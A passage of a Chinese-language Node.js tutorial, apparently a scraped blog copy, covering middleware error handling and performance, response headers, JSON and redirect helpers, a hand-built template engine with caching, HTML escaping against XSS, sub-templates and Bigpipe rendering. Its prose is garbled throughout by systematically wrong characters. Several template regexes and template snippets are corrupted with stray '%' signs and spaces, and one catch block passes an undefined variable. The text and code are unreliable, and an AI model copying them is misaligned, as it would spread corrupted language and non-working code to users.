            // 傳入next()函數自身,使中間件可以執行結束後遞歸
            try {
                middleware(req, res, next);
            } catch (ex) {
                next(err);
            }
        }
    };
    // 啓動執行
    next();
};
//因爲異步方法的異常不能直接捕獲,中間件異步產生的異常須要本身傳遞出來。
var session = function (req, res, next) {
    var id = req.cookies.sessionid;
    store.get(id, function (err, session) {
        if (err) {
            // 將異常經過next()傳遞
            return next(err);
        }
        req.session = session;
        next();
    });
};
//增長錯誤處理中間件:
var handle500 = function (err, req, res, stack) {
    // 選取異常處理中間件
    stack = stack.filter(function (middleware) {
        return middleware.length === 4;
    });
    var next = function () {
        // 從stack數組中取出中間件並執行
        var middleware = stack.shift();
        if (middleware) {
            // 傳遞異常對象
            middleware(err, req, res, next);
        }
    };
    // 啓動執行
    next();
};

2)中間件與性能
編寫高效的中間件

  1. 使用高效的方法,必要是經過jsperf.com進行基準測試,也就是測試基準性能
  2. 緩存須要重複計算結果,也就是控制緩存的用量
  3. 避免沒必要要的計算,好比http報文體的解析,這個對於get方法,徹底不須要

合理使用路由
例如靜態文件路由,咱們應該將靜態文件都放到一個文件夾下,由於它中間涉及到了磁盤I/O,若是靜態文件匹配了效率還行,若是沒有匹配,則浪費資源,咱們能夠將靜態文件到在public下:

app.use('/public', staticFile);

這樣,只有訪問public纔會命中靜態文件。
更好的作法是使用nginx等專門的web容器來爲靜態文件作代理,讓node專心作api服務器。

5.頁面渲染

1)內容響應
內容響應的過程當中,咱們會用到響應報文頭的Content-x字段。咱們以一個gzip編碼的文件做爲例子講解,咱們將告知客戶端內容是以gzip編碼的,其內容長度爲21170個字節,內容類型爲javascript,字符集utf-8

Content-Encoding: gzip
Content-Length: 21170
Content-Type: text/javascript; charset=utf-8

客戶端在接收到這個報文後,正確的處理過程是經過gzip來解釋報文體中的內容,用長度校驗報文體內容是否正確,而後再以字符集utf-8將解碼後的腳本插入到文檔節點中。

1.MIME
MIME = Multipurpose Internet Mail Extensions,最先應用於電子郵件,後來擴展到了瀏覽器領域。不一樣的文件類型具有不一樣的MIME值,如application/json、application/xml、application/pdf。爲了方便獲知文件的MIME值,咱們可使用mime模塊來判斷文件類型:

var mime = require('mime');
mime.lookup('/path/to/file.txt'); // => 'text/plain'
mime.lookup('file.txt'); // => 'text/plain'
mime.lookup('.TXT'); // => 'text/plain'
mime.lookup('htm'); // => 'text/html'

除了MIME值以外,content-type還會包含其餘一些參數,例如字符集:

Content-Type: text/javascript; charset=utf-8

2.附件下載

content-disposition字段影響的行爲是客戶端會根據它的值判斷是應該將報文數據當作即時瀏覽的內容,仍是可下載的附件。當內容只需即時查看時,它的值爲inline,當數據能夠存爲附件時,它的值爲attachment,另外,content-disposition字段,還能經過參數指定保存時應該使用的文件名:

Content-Disposition: attachment; filename="filename.ext"

3.響應json
爲了快捷響應JSON數據,封裝以下:

res.json = function (json) {
    res.setHeader('Content-Type', 'application/json');
    res.writeHead(200);
    res.end(JSON.stringify(json));
};

4.響應跳轉

實現跳轉以下:

res.redirect = function (url) {
    res.setHeader('Location', url);
    res.writeHead(302);
    res.end('Redirect to ' + url);
};

2)視圖渲染

雖然web能夠響應各類類型的文件(咱們上文就說過了文本類型、html、附件、跳轉等)。可是,最主流的仍是html,對於響應的內容是html類型的,咱們稱之爲視圖渲染,這個渲染過程經過模板和數據共同完成。渲染模板,咱們給一個方法叫作render,咱們看看本身實現render的例子:

res.render = function (view, data) {
    res.setHeader('Content-Type', 'text/html');
    res.writeHead(200);
    // 實際渲染
    var html = render(view, data);
    res.end(html);
};

經過render方法,咱們將模板和數據進行合併並解析,而後返回客戶端html做爲響應內容。

3)模板
模板技術有四個關鍵的要素:

  1. 模板語言
  2. 包含模板語言的模板文件
  3. 擁有動態數據的數據對象
  4. 模板引擎

對於asp、php、jsp,模板屬於服務器動態頁面的內置功能,模板語言就是他們的宿主語言(VBScript、JScript、PHP、Java),模板文件就是以.php、.asp、.jsp爲後綴的文件,模板引擎就是web容器。

模板技術作的只是拼接字符串這樣的很底層的活,把數據和模板字符串拼接好,並轉換爲html,響應給客戶端而已。

clipboard.png

1.模板引擎

模板引擎將<%= username>轉換爲「Hello 」+obj.username的過程分爲如下幾個步驟:

  1. 語法分解。提取出普通字符串和表達式,這個過程一般用正則表達式匹配出來,<%=%>的正則表達式爲/<%=([sS]+?) >/g
  2. 處理表達式,將標籤表達式轉換爲普通的語言表達式
  3. 生成待執行的語句
  4. 與數據一塊兒執行,生成最終字符串

    var render = function (str, data) {

    var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { 
    return "' + obj." + code + "+ '";
    });
    tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
    var complied = new Function('obj', tpl);
    return complied(data);

    };

    //---------------------------
    var tpl = 'Hello < =username >.'; % %
    console.log(render(tpl, {username: 'Jackson Tian'}));
    // => Hello Jackson Tian.

模板編譯
經過模板編譯,生成的中間件函數,只與模板字符串相關,與具體的數據無關,若是每次都生成這個中間件函數,會浪費cpu,爲了提高渲染模板的性能,咱們一般採用模板預編譯的方式,咱們將上述的代碼進行拆分:

var complie = function (str) {
    var tpl = str.replace(/< =([ % \s\S]+?) >/g, function(match, code) {
        return "' + obj." + code + "+ '";
    });
    tpl = "var tpl = '" + tpl + "'\nreturn tpl;";
    return new Function('obj, escape', tpl);
};
var render = function (complied, data) {
    return complied(data);
};

經過預編譯緩存模板編譯後的結果,實際應用中就能夠實現一次編譯,屢次執行,而原始的方式每次執行過程當中都要進行一次編譯和執行。
2.with的應用

var complie = function (str, data) {
    var tpl = str.replace(/< =([ % \s\S]+?) >/g, function (match, code) { 
    return "' + " + code + "+ '";
    });
    tpl = "tpl = '" + tpl + "'";
    tpl = 'var tpl = "";\nwith (obj) {' + tpl + '}\nreturn tpl;';
    return new Function('obj', tpl);
};

模板安全
因爲使用了模板,所以,增長了xss的風險,所以須要對模板進行安全防禦,這個安全防禦就是字符轉義:

var escape = function (html) {
    return String(html)
        .replace(/&(?!\w+;)/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#039;'); // IE不支持&apos;單引號轉義
}

3.模板邏輯
也就是在模板上添加if-else等條件語句,咱們寫實現的代碼:

<% if (user) { %>
<h2><% = user.name %></h2> 
<% } else { %> 
<h2>匿名用戶</h2>
<% } %>

咱們可使用這種方式來編譯這段代碼:

function (obj, escape) {
    var tpl = "";
    with (obj) {
        if (user) {
            tpl += "<h2>" + escape(user.name) + "</h2>";
        } else {
            tpl += "<h2>匿名用戶</h2>";
        }
    }
    return tpl;
}

4.集成文件系統
var cache = {};
var VIEW_FOLDER = '/path/to/wwwroot/views';
res.render = function (viewname, data) {

if (!cache[viewname]) {
    var text;
    try {
        text = fs.readFileSync(path.join(VIEW_FOLDER, viewname), 'utf8');
    } catch (e) {
        res.writeHead(500, { 'Content-Type': 'text/html' });
        res.end('模板文件錯誤');
        return;
    }
    cache[viewname] = complie(text);
}
var complied = cache[viewname];
res.writeHead(200, { 'Content-Type': 'text/html' });
var html = complied(data);
res.end(html);

};

此處採用了緩存,只會在第一次讀取的時候形成整個進程的阻塞,一旦緩存生效,將不會反覆讀取模板文件,其次,緩存以前已經進行了編譯,也不會每次都讀取都編譯了。封裝完渲染以後,咱們能夠輕鬆調用了:

app.get('/path', function (req, res) {
    res.render('viewname', {});
});

因爲模板文件內容都不大,也不屬於動態改動的,因此使用進程的內存來緩存編譯結果,並不會引發太大的垃圾回收問題

5.子模板

經過子模板解耦大模板

<ul>
    <% users.forEach(function(user){ %> 
        <% include user/show %> % %
<% }) %>
</ul>

//------------------------

<li><% =user.name %></li>

6.佈局視圖
局部視圖與子模板原理相同,可是應用場景不一樣。一個模板能夠經過不一樣的局部視圖來改變渲染的效果。也就是模板內容相同,局部視圖不一樣。
咱們設計<%- body %>來替換咱們的子模板

<ul>
    < users.forEach % (function(user){ > %
<% - body  %>
< % })  %>
</ul>

7.模板性能

  1. 緩存模板文件
  2. 緩存模板文件編譯後的函數
  3. 優化模板中的執行表達式,例如將字符串相加修改成數組形式,或者將使用with查找模式修改成使用指定對象名的形式等,此處不作展開講解。(不用with能夠減小上下文切換)

4)Bigpipe

因爲node是異步加載,最終的速度將取決於最後完成的那個任務的速度,並在最後完成後將html響應給客戶端。所以,bigpipe的思想將把頁面分割爲多個部分(pagelet),先向用戶輸出沒有數據的佈局(框架),而後,逐步返回須要的數據。這個過程,或者說bigpipe須要先後端協做完成渲染。
整理一下就是以下步驟:

  1. 頁面佈局框架(無數據的)
  2. 後端持續性的數據輸出
  3. 前端渲染

clipboard.png

bigpipe能作的事情,ajax也能夠作,可是ajax要調用http鏈接,會耗費資源。bigpipe獲取數據與當前頁面共用相同的網絡鏈接,開銷很小。所以,能夠在網站重要的且數據請求時間較長的頁面中使用。

相關文章
相關標籤/搜索